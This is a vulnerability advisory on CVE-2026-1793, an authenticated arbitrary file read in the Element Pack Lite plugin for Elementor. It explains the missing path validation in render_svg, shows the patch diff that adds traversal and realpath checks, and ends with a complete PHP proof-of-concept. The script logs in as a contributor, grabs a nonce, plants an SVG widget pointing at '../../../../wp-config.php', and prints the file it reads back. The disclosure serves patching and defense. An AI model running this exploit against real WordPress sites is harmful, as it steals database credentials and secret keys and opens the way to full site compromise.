Atomic Edge analysis of CVE-2026-1793:
This vulnerability is an authenticated arbitrary file read flaw in the Element Pack Addons for Elementor WordPress plugin. The SVG widget’s render_svg function lacks proper path validation, allowing contributors and higher-privileged users to read arbitrary server files. The CVSS score of 6.5 reflects the authentication requirement and confidentiality impact.
The root cause resides in the render_svg function within /modules/svg-image/widgets/svg-image.php. The vulnerable code (lines 854-864) processes user-supplied SVG file URLs. It converts these URLs to local file system paths without validating if the resolved path remains within the intended upload directory. The function extracts a relative path from the URL and directly appends it to the base directory, enabling directory traversal sequences.
Exploitation requires an authenticated attacker with at least contributor-level access. The attacker crafts a malicious SVG widget configuration containing a file:// URL or a path traversal sequence in the svg_file parameter. When the widget renders, the render_svg function processes this input, converts it to a local path, and reads the file contents. The attacker can then exfiltrate sensitive files like wp-config.php, /etc/passwd, or other configuration files.
The patch introduces multiple defense layers. It adds a path traversal check by rejecting any relative_path containing ‘..’ sequences. The code now uses realpath() to resolve symbolic links and normalize paths. It verifies that the resolved real_path is within the real_base upload directory using strpos() comparison. The patch also adds an is_file() check to prevent directory listing. These changes ensure files are only read from within the designated upload directory.
Successful exploitation exposes sensitive server files to authenticated attackers. This includes WordPress configuration files containing database credentials, secret keys, and API tokens. System files like /etc/passwd or SSH keys may also be accessible. While the vulnerability does not directly enable remote code execution, the exposed credentials often lead to complete site compromise through database access or privilege escalation.
--- a/bdthemes-element-pack-lite/bdthemes-element-pack-lite.php
+++ b/bdthemes-element-pack-lite/bdthemes-element-pack-lite.php
@@ -4,14 +4,14 @@
* Plugin Name: Element Pack Lite - Addons for Elementor
* Plugin URI: http://elementpack.pro/
* Description: The all-new <a href="https://elementpack.pro/">Element Pack</a> brings incredibly advanced, and super-flexible widgets, and A to Z essential addons to the Elementor page builder for WordPress. Explore expertly-coded widgets with first-class support by experts.
- * Version: 8.3.17
+ * Version: 8.3.18
* Author: BdThemes
* Author URI: https://bdthemes.com/
* Text Domain: bdthemes-element-pack
* Domain Path: /languages
* License: GPL3
* Elementor requires at least: 3.28
- * Elementor tested up to: 3.34.4
+ * Elementor tested up to: 3.35.0
*/
@@ -82,7 +82,7 @@
if ( ! element_pack_pro_installed() ) {
// Some pre defined value for easy use
- define( 'BDTEP_VER', '8.3.17' );
+ define( 'BDTEP_VER', '8.3.18' );
define( 'BDTEP_TPL_DB_VER', '1.0.0' );
define( 'BDTEP__FILE__', __FILE__ );
if ( ! defined( 'BDTEP_TITLE' ) ) {
--- a/bdthemes-element-pack-lite/modules/svg-image/widgets/svg-image.php
+++ b/bdthemes-element-pack-lite/modules/svg-image/widgets/svg-image.php
@@ -854,14 +854,24 @@
if ( ! empty( $svg_file ) ) {
// Try to get the SVG file contents
if ( strpos( $svg_file, get_site_url() ) === 0 ) {
- // Local file, convert URL to path
+ // Local file, convert URL to path with path traversal protection
$upload_dir = wp_upload_dir();
- $baseurl = $upload_dir['baseurl'];
- $basedir = $upload_dir['basedir'];
+ $baseurl = $upload_dir['baseurl'];
+ $basedir = $upload_dir['basedir'];
if ( strpos( $svg_file, $baseurl ) === 0 ) {
- $svg_path = $basedir . substr( $svg_file, strlen( $baseurl ) );
- if ( file_exists( $svg_path ) ) {
- $svg_content = file_get_contents( $svg_path );
+ $relative_path = substr( $svg_file, strlen( $baseurl ) );
+ $relative_path = ltrim( $relative_path, '/' );
+ // Reject path traversal sequences
+ if ( strpos( $relative_path, '..' ) === false ) {
+ $svg_path = $basedir . ( $relative_path !== '' ? '/' . $relative_path : '' );
+ $real_path = realpath( $svg_path );
+ $real_base = realpath( $basedir );
+ // Ensure resolved path is inside upload directory
+ if ( $real_path !== false && $real_base !== false && ( $real_path === $real_base || strpos( $real_path, $real_base . DIRECTORY_SEPARATOR ) === 0 ) ) {
+ if ( file_exists( $real_path ) && is_file( $real_path ) ) {
+ $svg_content = file_get_contents( $real_path );
+ }
+ }
}
}
}
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1793 - Element Pack Addons for Elementor <= 8.3.17 - Authenticated (Contributor+) Arbitrary File Read
<?php
$target_url = 'http://target-wordpress-site.com';
$username = 'contributor_user';
$password = 'contributor_pass';
$file_to_read = '../../../../wp-config.php';
// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$cookie_file = tempnam(sys_get_temp_dir(), 'cve_');
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $login_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]),
CURLOPT_COOKIEJAR => $cookie_file,
CURLOPT_COOKIEFILE => $cookie_file,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true
]);
$response = curl_exec($ch);
// Step 2: Extract nonce from Elementor editor page
$editor_url = $target_url . '/wp-admin/post-new.php?post_type=page';
curl_setopt_array($ch, [
CURLOPT_URL => $editor_url,
CURLOPT_HTTPGET => true
]);
$response = curl_exec($ch);
preg_match('/"nonce":"([a-f0-9]+)"/', $response, $matches);
$nonce = $matches[1] ?? '';
// Step 3: Create a page with malicious SVG widget
$create_page_url = $target_url . '/wp-admin/admin-ajax.php';
$widget_settings = json_encode([
'svg_image' => [
'svg_file' => [
'url' => $target_url . '/wp-content/uploads/' . $file_to_read
]
]
]);
$post_data = [
'action' => 'elementor_ajax',
'actions' => json_encode([
'action_id' => 'save_builder',
'editor_post_id' => 'new',
'data' => [
'elements' => [[
'id' => 'exploit_widget',
'elType' => 'widget',
'settings' => $widget_settings,
'widgetType' => 'svg-image'
]]
]
]),
'_nonce' => $nonce
];
curl_setopt_array($ch, [
CURLOPT_URL => $create_page_url,
CURLOPT_POSTFIELDS => $post_data
]);
$response = curl_exec($ch);
// Step 4: Extract file contents from response
preg_match('/<svg[^>]*>(.*?)</svg>/s', $response, $file_matches);
if (!empty($file_matches[1])) {
echo "File contents:n" . html_entity_decode($file_matches[1]);
} else {
echo "Exploit failed. Check authentication and nonce.";
}
curl_close($ch);
unlink($cookie_file);
?>
